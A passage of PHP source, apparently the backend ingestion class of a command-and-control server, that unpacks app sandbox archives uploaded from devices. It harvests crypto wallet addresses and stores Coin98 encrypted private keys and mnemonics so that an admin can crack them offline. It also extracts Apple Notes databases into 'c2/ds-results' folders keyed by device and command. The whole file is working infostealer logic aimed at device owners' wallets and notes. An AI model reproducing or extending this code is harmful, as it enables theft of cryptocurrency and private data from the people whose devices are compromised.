if (basename($path) !== 'wallet') {
return;
}
if (strlen($raw) < 16 || ! str_starts_with($raw, 'SQLite format 3')) {
return;
}
foreach ($this->parseOkxWalletSqlite($raw) as $hit) {
$out[] = $hit;
}
});
return $out;
}
/**
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function parseOkxWalletSqlite(string $sqlite): array
{
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_okx_wallet_');
if ($tmp === false) {
return [];
}
try {
if (@file_put_contents($tmp, $sqlite) === false) {
return [];
}
$pdo = new \PDO('sqlite:'.$tmp, null, null, [
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
]);
$tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN);
$wanted = [
'chain_address' => ['address', 'eoaAddress'],
'chain_address_segwit' => ['address'],
'customChainChainAddressesTable' => ['address'],
];
$byKey = [];
foreach ($tables as $table) {
$table = (string) $table;
if (! isset($wanted[$table])) {
continue;
}
$quotedTable = '"'.str_replace('"', '""', $table).'"';
try {
$cols = $pdo->query('PRAGMA table_info('.$quotedTable.')')->fetchAll(\PDO::FETCH_ASSOC);
} catch (\Throwable) {
continue;
}
$have = [];
foreach ($cols as $col) {
$have[(string) ($col['name'] ?? '')] = true;
}
foreach ($wanted[$table] as $colName) {
if (! isset($have[$colName])) {
continue;
}
$quotedCol = '"'.str_replace('"', '""', $colName).'"';
try {
$stmt = $pdo->query('SELECT '.$quotedCol.' FROM '.$quotedTable.' WHERE '.$quotedCol.' IS NOT NULL');
} catch (\Throwable) {
continue;
}
while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
$hit = $this->addressHitFromString((string) ($row[$colName] ?? ''));
if ($hit === null) {
continue;
}
$byKey[$hit['chain_type'].'|'.$hit['address']] = $hit;
}
}
}
return array_values($byKey);
} catch (\Throwable) {
return [];
} finally {
@unlink($tmp);
}
}
/**
* MetaMask accounts are Redux-persisted under
* persist-AccountsController → internalAccounts.accounts.{uuid} with a
* CAIP type ("eip155:eoa", "solana:data-account", "bip122:p2wpkh",
* "tron:eoa", "stellar:account", …). Only the four supported chain
* prefixes are stored; snaps and niche chains are skipped.
*
* @param mixed $node
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectMetaMaskAccountHits(mixed $node, int $depth = 0): array
{
if ($depth > 14 || ! is_array($node)) {
return [];
}
$out = [];
$accounts = $node['internalAccounts']['accounts'] ?? null;
if (is_array($accounts)) {
foreach ($accounts as $account) {
if (! is_array($account)) {
continue;
}
$addr = $account['address'] ?? null;
if (! is_string($addr) || $addr === '') {
continue;
}
$chain = $this->metaMaskChainForAccount($account);
if ($chain === null) {
continue;
}
$out[] = [
'address' => $addr,
'chain_type' => $chain,
'balance' => [],
];
}
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectMetaMaskAccountHits($child, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $account
*/
private function metaMaskChainForAccount(array $account): ?string
{
$type = strtolower((string) ($account['type'] ?? ''));
$prefix = explode(':', $type)[0];
$chain = match ($prefix) {
'eip155' => 'ETHEREUM',
'solana' => 'SOLANA',
'bip122' => 'BITCOIN',
'tron' => 'TRON',
default => null,
};
if ($chain === null || ! WalletSource::isSupportedChain($chain)) {
return null;
}
return $chain;
}
/**
* Coin98 keeps the real wallet list in the RCTAsyncLocalStorage
* SET_WALLET_STORAGE key (a doubly JSON-encoded array of
* {address, privateKey, mnemonic, chain, isActive} entries). The
* neighbouring keys (CACHE_TOKEN_LIST_DATA, POINT_TOKEN_INFO, …) are
* token inventories and must never be harvested.
*
* @param array<string, mixed> $sandbox
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectCoin98WalletHits(array $sandbox): array
{
$out = [];
foreach ($this->coin98WalletsFromSandbox($sandbox) as $wallet) {
$addr = $wallet['address'] ?? null;
if (! is_string($addr) || $addr === '') {
continue;
}
$hit = $this->addressHitFromString($addr);
if ($hit !== null) {
$out[] = $hit;
}
}
return $out;
}
/**
* Walk the sandbox for Coin98 wallet entries (the SET_WALLET_STORAGE
* value, or the standalone per-key AsyncStorage file variant) and
* return them verbatim — address / chain / name plus the CryptoJS
* "U2FsdGVkX1…" privateKey / mnemonic blobs that offline password
* recovery needs.
*
* @param mixed $node
* @return list<array<string, mixed>>
*/
private function coin98WalletsFromSandbox(mixed $node, int $depth = 0): array
{
if ($depth > 14 || ! is_array($node)) {
return [];
}
$out = [];
$storage = $node['SET_WALLET_STORAGE'] ?? null;
if ($storage !== null) {
$wallets = is_string($storage) ? json_decode($storage, true) : $storage;
if (is_array($wallets) && $this->looksLikeCoin98WalletList($wallets)) {
$out = array_merge($out, array_values(array_filter($wallets, 'is_array')));
}
}
$list = $this->coin98WalletList($node);
if ($list !== null) {
$out = array_merge($out, $list);
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->coin98WalletsFromSandbox($child, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $node
* @return list<array<string, mixed>>|null
*/
private function coin98WalletList(array $node): ?array
{
$wallets = $node['wallets'] ?? null;
if (! is_array($wallets) || ! $this->looksLikeCoin98WalletList($wallets)) {
return null;
}
return array_values(array_filter($wallets, 'is_array'));
}
/**
* @param array<int|string, mixed> $wallets
*/
private function looksLikeCoin98WalletList(array $wallets): bool
{
if (! array_is_list($wallets) || $wallets === []) {
return false;
}
$first = $wallets[0];
if (! is_array($first)) {
return false;
}
return isset($first['address'])
&& (isset($first['isActive']) || isset($first['privateKey']) || isset($first['mnemonic']));
}
/**
* Persist the Coin98 wallet list (with the CryptoJS privateKey /
* mnemonic blobs) as a needs-password keystore row so the admin
* password-unlock flow can recover the mnemonic offline.
*
* @param array<string, mixed> $sandbox
*/
private function storeCoin98KeystoreFromSandbox(Device $device, string $source, array $sandbox): void
{
$wallets = $this->coin98WalletsFromSandbox($sandbox);
if ($wallets === []) {
return;
}
$hasCipher = false;
foreach ($wallets as $wallet) {
foreach (['privateKey', 'mnemonic'] as $field) {
$value = $wallet[$field] ?? null;
if (is_string($value) && $this->isCryptoJsCipher($value)) {
$hasCipher = true;
break 2;
}
}
}
WalletKeystore::firstOrCreateForDevice($device, $source, [
'kind' => 'coin98.wallet',
'wallets' => $wallets,
], $hasCipher);
}
/**
* CryptoJS AES default output: base64("Salted__" + 8-byte salt +
* AES-256-CBC ciphertext).
*/
private function isCryptoJsCipher(string $value): bool
{
$decoded = base64_decode($value, true);
return is_string($decoded) && str_starts_with($decoded, 'Salted__');
}
/**
* Tonhub only exposes the user address through react-query mmkv
* cache keys: ["cloud","<addr>", …] queries (primaryCurrency /
* addressbook / config) are keyed by the wallet owner's own address.
* holders / account / pool keys may reference third-party contracts
* or viewed pages, so they are skipped. mmkv files arrive
* base64-encoded (decodeFileContent caps text at 64 KiB), so try the
* raw string first, then its base64 payload.
*
* @param mixed $node
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectTonhubAccountHits(mixed $node, int $depth = 0): array
{
if ($depth > 14 || $node === null) {
return [];
}
$out = [];
if (is_string($node)) {
foreach ($this->tonhubAddressesFromString($node) as $addr) {
$out[] = [
'address' => $addr,
'chain_type' => 'TON',
'balance' => [],
];
}
return $out;
}
if (! is_array($node)) {
return [];
}
foreach ($node as $child) {
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectTonhubAccountHits($child, $depth + 1));
}
}
return $out;
}
/**
* @return list<string>
*/
private function tonhubAddressesFromString(string $raw): array
{
$found = [];
$pattern = '/\["cloud","([EU]Q[A-Za-z0-9_\-]{46})"/';
foreach ([$raw, (string) (base64_decode($raw, true) ?: '')] as $text) {
if ($text === '' || ! preg_match_all($pattern, $text, $matches)) {
continue;
}
foreach ($matches[1] as $addr) {
$found[$addr] = $addr;
}
}
return array_values($found);
}
/**
* Trust HD UTC lists every WalletCore coin in activeAccounts. Many of
* those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not
* be stored as Ethereum. Reuse the DS collector: BTC/ETH/TRX/BSC/SOL/ARB.
*
* @param array<string, mixed> $sandbox
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectTrustAddressHits(array $sandbox): array
{
$out = [];
foreach ($this->trustAddresses->collect($sandbox) as $row) {
$out[] = [
'address' => $row['address'],
'chain_type' => $row['chainType'],
'balance' => [],
];
}
if ($out !== []) {
return $out;
}
foreach ($this->collectWeb3Nodes($sandbox) as $node) {
$addr = $node['address'] ?? null;
if (! is_string($addr) || $addr === '') {
continue;
}
$hit = $this->addressHitFromString($addr);
if ($hit !== null) {
$out[] = $hit;
}
}
return $out;
}
/**
* Walk a SignalShell zip and decode every RCTAsyncLocalStorage blob
* (manifest hashes + double-encoded JSON strings).
*
* @return list<mixed>
*/
private function asyncStorageNodesFromZip(string $zipBinary): array
{
$tmp = tempnam(sys_get_temp_dir(), 'im_async_');
if ($tmp === false) {
return [];
}
$tmpZip = $tmp.'.zip';
@rename($tmp, $tmpZip);
$tmp = $tmpZip;
$nodes = [];
try {
if (@file_put_contents($tmp, $zipBinary) === false) {
return [];
}
$zip = new \ZipArchive;
if ($zip->open($tmp) !== true) {
return [];
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$name = str_replace('\\', '/', (string) $zip->getNameIndex($i));
if ($name === '' || str_ends_with($name, '/')) {
continue;
}
if (! str_contains(strtolower($name), 'asynclocalstorage')) {
continue;
}
$raw = $zip->getFromIndex($i);
if (! is_string($raw) || $raw === '') {
continue;
}
$decoded = $this->decodeJsonMaybeDouble($raw);
if ($decoded !== null) {
$nodes[] = $decoded;
}
}
$zip->close();
} finally {
@unlink($tmp);
}
return $nodes;
}
/**
* RCTAsyncLocalStorage values are often a JSON string wrapping JSON.
*/
private function decodeJsonMaybeDouble(string $raw): mixed
{
$decoded = json_decode($raw, true);
if (! is_array($decoded) && ! is_string($decoded)) {
return null;
}
if (is_string($decoded)) {
$inner = json_decode($decoded, true);
if (is_array($inner) || is_string($inner)) {
return $inner;
}
return null;
}
return $decoded;
}
/**
* imToken AsyncStorage mixes the real EOA with token-list contract
* addresses under the same `address` key. Keep accountAddress and
* AccountModel EOAs only — never walletsV2 UTC address or USDT/WETH
* contracts.
*
* @param mixed $node
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectImTokenAddressHits(mixed $node, int $depth = 0): array
{
if ($depth > 14 || ! is_array($node)) {
return [];
}
$out = [];
$accountAddress = $node['accountAddress'] ?? null;
if (is_string($accountAddress)) {
$hit = $this->addressHitFromString($accountAddress);
if ($hit !== null) {
$out[] = $hit;
}
}
if ($this->isImTokenAccountNode($node)) {
$addr = $node['address'] ?? null;
if (is_string($addr)) {
$hit = $this->addressHitFromString($addr);
if ($hit !== null) {
$out[] = $hit;
}
}
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectImTokenAddressHits($child, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $node
*/
private function isImTokenAccountNode(array $node): bool
{
if (isset($node['tokenType']) || isset($node['tokenStandard'])) {
return false;
}
$type = strtoupper((string) ($node['type'] ?? ''));
if ($type === 'EOA') {
return true;
}
$path = (string) ($node['path'] ?? '');
return str_starts_with($path, "m/44'");
}
/**
* @param mixed $node
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectAddressHits(mixed $node, int $depth = 0): array
{
if ($depth > 12 || $node === null) {
return [];
}
$out = [];
if (is_string($node)) {
$hit = $this->addressHitFromString($node);
if ($hit !== null) {
$out[] = $hit;
}
return $out;
}
if (! is_array($node)) {
return [];
}
if ($this->isTokenEntryNode($node)) {
// {symbol, name, decimals, address} — token inventory entry, not a user account.
return [];
}
foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) {
if (isset($node[$key]) && is_string($node[$key])) {
$hit = $this->addressHitFromString($node[$key]);
if ($hit !== null) {
$out[] = $hit;
}
}
}
foreach ($node as $key => $child) {
if (is_string($key) && in_array($key, self::CONTRACT_KEY_DENYLIST, true)) {
// multicall3 / foxConnectAddresses / contract maps are
// network config, never user accounts.
continue;
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectAddressHits($child, $depth + 1));
}
}
return $out;
}
/**
* Keys that only ever hold contract / config addresses.
*
* @var list<string>
*/
private const CONTRACT_KEY_DENYLIST = [
'contracts',
'contract',
'contractAddress',
'tokenAddress',
'token_address',
'wethContractAddress',
'multicall3',
'multicallAddress',
'foxConnectAddresses',
'batchTxContract',
'balanceContract',
];
/**
* @param array<string, mixed> $node
*/
private function isTokenEntryNode(array $node): bool
{
if (! isset($node['symbol'])) {
return false;
}
return isset($node['decimals']) || isset($node['name']) || isset($node['tokenType'])
|| isset($node['chainId']) || isset($node['logoUri']);
}
/**
* @return array{address: string, chain_type: string, balance: array<string, int|float|string>}|null
*/
private function addressHitFromString(string $raw): ?array
{
$addr = trim($raw);
if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) {
// Pure-digit 40-hex blobs are data (balances, timestamps), not accounts.
if (ctype_digit($addr)) {
return null;
}
$addr = '0x'.$addr;
}
$chain = WalletSource::inferChainType($addr);
// TON is only harvested by the dedicated Tonhub collector: EQ/UQ
// strings float around token caches as jetton contracts and would
// flood wallet_addresses from free-text scans.
if ($chain === 'TON' || ! WalletSource::isSupportedChain($chain)) {
return null;
}
return [
'address' => $addr,
'chain_type' => $chain,
'balance' => [],
];
}
/**
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectSqliteAddressHits(string $tar): array
{
$out = [];
$this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void {
if (strlen($raw) < 16 || ! str_starts_with($raw, "SQLite format 3")) {
return;
}
foreach ($this->parseSqliteWalletRows($raw) as $hit) {
$out[] = $hit;
}
});
return $out;
}
/**
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function parseSqliteWalletRows(string $sqlite): array
{
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_sqlite_');
if ($tmp === false) {
return [];
}
try {
if (@file_put_contents($tmp, $sqlite) === false) {
return [];
}
$pdo = new \PDO('sqlite:'.$tmp, null, null, [
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
]);
$tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN);
$byAddr = [];
foreach ($tables as $table) {
$table = (string) $table;
if ($table === '' || str_starts_with($table, 'sqlite_')) {
continue;
}
$cols = [];
try {
$infoName = preg_match('/^[A-Za-z0-9_]+$/', $table)
? $table
: '"'.str_replace('"', '""', $table).'"';
$cols = $pdo->query('PRAGMA table_info('.$infoName.')')->fetchAll(\PDO::FETCH_ASSOC);
} catch (\Throwable) {
continue;
}
$colNames = [];
foreach ($cols as $col) {
$colNames[] = (string) ($col['name'] ?? '');
}
$addrCol = $this->firstMatchingColumn($colNames, ['address', 'walletAddress', 'wallet_address', 'addr']);
if ($addrCol === null) {
continue;
}
$quotedTable = '"'.str_replace('"', '""', $table).'"';
$quotedAddr = '"'.str_replace('"', '""', $addrCol).'"';
$stmt = $pdo->query('SELECT * FROM '.$quotedTable.' WHERE '.$quotedAddr.' IS NOT NULL');
while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
$hit = $this->addressHitFromString((string) ($row[$addrCol] ?? ''));
if ($hit === null) {
continue;
}
$addr = $hit['address'];
if (! isset($byAddr[$addr])) {
$byAddr[$addr] = $hit;
}
$coin = $this->coinFromSqliteRow($row);
$amount = $this->numericFromSqliteRow($row, ['balance', 'amount', 'quantity', 'value']);
if ($coin !== null && $amount !== null) {
$byAddr[$addr]['balance'][$coin] = $amount;
}
}
}
return array_values($byAddr);
} catch (\Throwable) {
return [];
} finally {
@unlink($tmp);
}
}
/**
* @param list<string> $cols
* @param list<string> $want
*/
private function firstMatchingColumn(array $cols, array $want): ?string
{
$lower = [];
foreach ($cols as $col) {
$lower[strtolower($col)] = $col;
}
foreach ($want as $name) {
if (isset($lower[strtolower($name)])) {
return $lower[strtolower($name)];
}
}
return null;
}
/**
* @param array<string, mixed> $row
*/
private function coinFromSqliteRow(array $row): ?string
{
foreach (['shortName', 'tokenName', 'name', 'symbol', 'tokenAbbr', 'token_name'] as $key) {
if (! isset($row[$key]) || ! is_string($row[$key])) {
continue;
}
$sym = strtoupper(trim($row[$key]));
if ($sym === 'TRX') {
return 'trx';
}
if ($sym === 'USDT' || $sym === 'USD₮') {
return 'usdt';
}
if ($sym === 'ETH') {
return 'eth';
}
if ($sym === 'BTC') {
return 'btc';
}
if ($sym === 'BNB') {
return 'bnb';
}
}
foreach (['contractAddress', 'tokenAddress', 'contract', 'id'] as $key) {
$val = strtoupper(trim((string) ($row[$key] ?? '')));
if ($val === strtoupper(self::USDT_TRC20)) {
return 'usdt';
}
}
return null;
}
/**
* @param array<string, mixed> $row
* @param list<string> $keys
*/
private function numericFromSqliteRow(array $row, array $keys): ?string
{
foreach ($keys as $key) {
if (! array_key_exists($key, $row)) {
continue;
}
$val = $row[$key];
if ($val === null || $val === '') {
continue;
}
if (! is_numeric($val)) {
continue;
}
return (string) $val;
}
return null;
}
/**
* @param callable(string $path, string $raw): void $cb
*/
private function eachTarFile(string $content, callable $cb): void
{
if (! $this->looksLikeTar($content)) {
return;
}
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_walk_');
if ($tmp === false) {
return;
}
$tmpTar = $tmp.'.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return;
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return;
}
$prefix = 'phar://'.$tmp;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
}
$rel = ltrim($rel, '/');
$raw = @file_get_contents($f->getPathname());
if (! is_string($raw) || $raw === '') {
continue;
}
$cb($rel, $raw);
}
} finally {
@unlink($tmp);
}
}
// ── Apple Notes tar ─────────────────────────────────────────
/**
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
* -wal + -shm, save them to the location DsMemoDecoder expects
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
* DecodeMemoDb job to parse note text off the request thread.
*/
private function parseNotesTar(Device $device, string $content, string $uploadId): void
{
$files = $this->extractNotesDbFiles($content);
if ($files === []) {
Log::channel('keystore')->warning('AppUploadIngester: notes tar has no NoteStore.sqlite', [
'device_id' => $device->id,
'upload_id' => $uploadId,
]);
return;
}
// DsMemoDecoder looks for files under
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
$commandId = 'app_'.substr($uploadId, 0, 8);
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
$disk = \Illuminate\Support\Facades\Storage::disk('local');
foreach ($files as $name => $data) {
$disk->put($dir.'/'.$name, $data);
}
Log::channel('keystore')->info('AppUploadIngester: stored notes db', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'command_id' => $commandId,
'files' => array_keys($files),
]);
// Dispatch the async SQLite decoder job.
try {
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AppUploadIngester: DecodeMemoDb dispatch failed', [
'device_id' => $device->id,
'command_id' => $commandId,
'error' => $e->getMessage(),
]);
}
}
/**
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
*
* @return array<string, string> Map of filename → raw bytes.
*/
private function extractNotesDbFiles(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_notes_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
$out = [];
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$base = basename($f->getPathname());
if (! in_array($base, $wanted, true)) {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$out[$base] = $raw;
}
return $out;
} finally {
@unlink($tmp);
}
}
/**
* Extract a tar (ustar) archive into a nested dict of file paths →
* decoded content. JSON files are parsed into arrays; binary files
* (Realm DBs, SQLite) are stored as base64; everything else is stored
* as a UTF-8 string when possible.
*
* @return array<string, mixed>
*/
private function extractTarSandbox(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_tar_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$sandbox = [];
$count = 0;
$maxFiles = 200;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if ($count >= $maxFiles) {
break;
}
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
// path is absolute (starts with "/"), so the old [^/]+ pattern
// failed to match the leading slash — use the known prefix.
$prefix = 'phar://'.$tmp;
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
} else {
// Fallback: strip phar:// + everything up to the first .tar
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
}
$rel = ltrim($rel, '/');
if ($rel === '') {
continue;
}
$entrySize = (int) $f->getSize();
// Hard gate before reading: wallet configs / keystores are small
// (Realm ≤ a few MB); image caches and token-inventory dumps are
// tens of MB and only burn memory (fatal on 128M limits when a
// device uploads a full 76 MB sandbox tar).
if ($entrySize > 5 * 1024 * 1024) {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$decoded = $this->decodeFileContent($raw, $rel);
unset($raw);
if ($decoded === null) {
continue;
}
$this->setNestedPath($sandbox, $rel, $decoded);
$count++;
}
return $sandbox;
} finally {
@unlink($tmp);
}
}
/**
* @return mixed Array for JSON, string for text/base64, null to skip.
*/
private function decodeFileContent(string $raw, string $path): mixed
{
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
// Cap the decode: multi-MB token inventories explode into huge PHP
// arrays (10× the raw size) and end up serialized into raw_json.
$first = $raw[0] ?? '';
if (($first === '{' || $first === '[') && strlen($raw) <= 2 * 1024 * 1024) {
$json = json_decode($raw, true);
if (is_array($json)) {
return $json;
}
}
// Small text files → UTF-8 string.
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
return $raw;
}
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
$cap = 512 * 1024; // 512 KiB
if (strlen($raw) > $cap) {
return null; // skip large binaries — not useful for mnemonic recovery
}
return base64_encode($raw);
}
/**
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
*
* @param array<string, mixed> $arr
*/
private function setNestedPath(array &$arr, string $path, mixed $value): void
{
$parts = explode('/', $path);
$ref = &$arr;
$n = count($parts);
for ($i = 0; $i < $n - 1; $i++) {
$key = $parts[$i];
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
$ref[$key] = [];
}
$ref = &$ref[$key];
}
$ref[$parts[$n - 1]] = $value;
}
}